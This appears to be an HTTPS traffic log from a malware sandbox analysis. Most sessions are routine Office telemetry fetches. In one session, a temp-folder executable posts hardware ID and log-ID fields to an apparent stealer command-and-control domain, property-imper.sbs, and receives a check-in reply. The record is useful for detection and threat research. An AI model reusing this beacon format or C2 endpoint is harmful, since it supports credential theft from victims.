2024-11-23 19:23:38 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 19:23:38 GMT Content-Type: text/xml Content-Length: 2592 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5B890DB" x-ms-request-id: bc0c8c97-701e-0053-1e45-3c3a0a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T192338Z-178bfbc474bmqmgjhC1NYCy16c00000004xg00000000d9en x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 19:23:38 UTC	2592	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 32 22 20 56 3d 22 31 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 41 70 70 6c 69 63 61 74 69 6f 6e 41 6e 64 4c 61 6e 67 75 61 67 65 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120602" V="10" DC="SM" EN="Office.System.SystemHealthMetadataApplicationAndLanguage" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa=

Session ID	Source IP	Source Port	Destination IP	Destination Port
91	192.168.2.4	49841	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 19:23:38 UTC	192	OUT	GET /rules/rule120682v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 19:23:38 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 19:23:38 GMT Content-Type: text/xml Content-Length: 501 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:18 GMT ETag: "0x8DC582BACFDAACD" x-ms-request-id: e365756d-701e-0032-724d-3ca540000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T192338Z-15b8b599d88wn9hhhC1TEBry0g00000003gg000000001sq7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 19:23:38 UTC	501	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 74 61 72 74 75 70 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120682" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryStartup" /> <R T="2" R="120100" /> <SS T="3" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> </S> <C T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
92	192.168.2.4	49844	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 19:23:38 UTC	192	OUT	GET /rules/rule120601v3s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 19:23:39 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 19:23:38 GMT Content-Type: text/xml Content-Length: 3342 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:34 GMT ETag: "0x8DC582B927E47E9" x-ms-request-id: abaf503b-901e-0064-2b47-3ce8a6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T192338Z-15b8b599d88tr2flhC1TEB5gk400000003g0000000008ygg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 19:23:39 UTC	3342	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 31 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 4f 53 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120601" V="3" DC="SM" EN="Office.System.SystemHealthMetadataOS" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC" xmlns=""> <RI

Session ID	Source IP	Source Port	Destination IP	Destination Port
93	192.168.2.4	49846	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 19:23:40 UTC	193	OUT	GET /rules/rule224901v11s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 19:23:40 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 19:23:40 GMT Content-Type: text/xml Content-Length: 2284 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:13 GMT ETag: "0x8DC582BCD58BEEE" x-ms-request-id: ce6cb833-501e-007b-514e-3c5ba2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T192340Z-15b8b599d88wk8w4hC1TEB14b800000003b000000000e014 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 19:23:40 UTC	2284	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 31 22 20 56 3d 22 31 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4c 69 63 65 6e 73 69 6e 67 2e 4f 66 66 69 63 65 43 6c 69 65 6e 74 4c 69 63 65 6e 73 69 6e 67 2e 44 6f 4c 69 63 65 6e 73 65 56 61 6c 69 64 61 74 69 6f 6e 22 20 41 54 54 3d 22 63 31 61 30 64 62 30 31 32 37 39 36 34 36 37 34 61 30 64 36 32 66 64 65 35 61 62 30 66 65 36 32 2d 36 65 63 34 61 63 34 35 2d 63 65 62 63 2d 34 66 38 30 2d 61 61 38 33 2d 62 36 62 39 64 33 61 38 36 65 64 37 2d 37 37 31 39 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 54 3d 22 55 70 6c 6f 61 64 2d 4d 65 64 69 75 6d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224901" V="11" DC="SM" EN="Office.Licensing.OfficeClientLicensing.DoLicenseValidation" ATT="c1a0db0127964674a0d62fde5ab0fe62-6ec4ac45-cebc-4f80-aa83-b6b9d3a86ed7-7719" SP="CriticalCensus" T="Upload-Medium"

Session ID	Source IP	Source Port	Destination IP	Destination Port
94	192.168.2.4	49847	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 19:23:40 UTC	192	OUT	GET /rules/rule701201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 19:23:40 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 19:23:40 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:51 GMT ETag: "0x8DC582BE3E55B6E" x-ms-request-id: d2879cce-801e-0047-5869-3b7265000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T192340Z-178bfbc474bv7whqhC1NYC1fg400000004t000000000mwe9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 19:23:40 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml"

Session ID	Source IP	Source Port	Destination IP	Destination Port
95	192.168.2.4	49849	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 19:23:40 UTC	192	OUT	GET /rules/rule700201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 19:23:41 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 19:23:41 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:50 GMT ETag: "0x8DC582BE39DFC9B" x-ms-request-id: 3994331f-f01e-0071-696c-3b431c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T192341Z-178bfbc474btvfdfhC1NYCa2en00000004z0000000009tqb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 19:23:41 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord"

Session ID	Source IP	Source Port	Destination IP	Destination Port
96	192.168.2.4	49848	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 19:23:40 UTC	192	OUT	GET /rules/rule701200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 19:23:41 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 19:23:41 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC681E17" x-ms-request-id: e3da2723-301e-0051-6021-3d38bb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T192341Z-178bfbc474bp8mkvhC1NYCzqnn00000004n000000000prz3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 19:23:41 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
97	192.168.2.4	49851	2.23.161.164	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 19:23:40 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-11-23 19:23:41 UTC	479	IN	HTTP/1.1 200 OK Content-Type: application/octet-stream Server: Kestrel ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-eus-z1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json X-OSID: 2 X-CID: 2 X-CCC: GB Cache-Control: public, max-age=223785 Date: Sat, 23 Nov 2024 19:23:41 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port
98	192.168.2.4	49850	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 19:23:40 UTC	192	OUT	GET /rules/rule700200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 19:23:41 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 19:23:41 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF66E42D" x-ms-request-id: 6dd5ded1-501e-0078-0f57-3c06cf000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T192341Z-15b8b599d889fz52hC1TEB59as000000038000000000k742 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 19:23:41 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
99	192.168.2.4	49852	104.21.33.116	443	5472	C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 19:23:40 UTC	278	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=EF0WH2YIKW8FV User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8760 Host: property-imper.sbs
2024-11-23 19:23:40 UTC	8760	OUT	Data Raw: 2d 2d 45 46 30 57 48 32 59 49 4b 57 38 46 56 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 32 34 45 45 36 32 34 46 36 34 35 37 33 44 34 44 37 43 42 42 44 36 44 46 32 38 44 33 37 33 32 0d 0a 2d 2d 45 46 30 57 48 32 59 49 4b 57 38 46 56 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 45 46 30 57 48 32 59 49 4b 57 38 46 56 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 45 46 30 57 48 Data Ascii: --EF0WH2YIKW8FVContent-Disposition: form-data; name="hwid"324EE624F64573D4D7CBBD6DF28D3732--EF0WH2YIKW8FVContent-Disposition: form-data; name="pid"2--EF0WH2YIKW8FVContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic--EF0WH
2024-11-23 19:23:41 UTC	1015	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 19:23:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=d0jtspad796rg1dt9ubmuukvnl; expires=Wed, 19-Mar-2025 13:10:20 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Gwo9WC%2FyYO2blqaEsxECVNS8juvbh5T17pB0LNkyr3PghFpc3EUYQ2p6Z6bIA%2Ff7pJwF6qPEEKBbyqzHpDYZXJGxDX%2BE5j83vQ8vNB7X6U4hS1Z7AaXLjNUpJB4yAM6yY8vTNN0%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e7388fdefb041ef-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1651&sent=9&recv=14&lost=0&retrans=0&sent_bytes=2845&recv_bytes=9696&delivery_rate=1702623&cwnd=192&unsent_bytes=0&cid=0ccfe333b2c5bba8&ts=935&x=0"
2024-11-23 19:23:41 UTC	19	IN	Data Raw: 65 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 37 35 0d 0a Data Ascii: eok 8.46.123.75
2024-11-23 19:23:41 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
100	192.168.2.4	49854	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 19:23:42 UTC	192	OUT	GET /rules/rule702351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 19:23:43 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 19:23:42 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE017CAD3" x-ms-request-id: 1a87898e-001e-002b-2066-3b99f2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T192342Z-178bfbc474brk967hC1NYCfu6000000004kg00000000nt9g x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 19:23:43 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoic

Session ID	Source IP	Source Port	Destination IP	Destination Port
101	192.168.2.4	49853	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 19:23:42 UTC	192	OUT	GET /rules/rule702350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 19:23:43 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 19:23:42 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE6431446" x-ms-request-id: f295790c-601e-0032-1e67-3deebb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T192342Z-15b8b599d88vp97chC1TEB5pzw00000003b000000000a9zq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 19:23:43 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoice" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
102	192.168.2.4	49857	2.23.161.164	443

Timestamp	Bytes transferred	Direction	Data
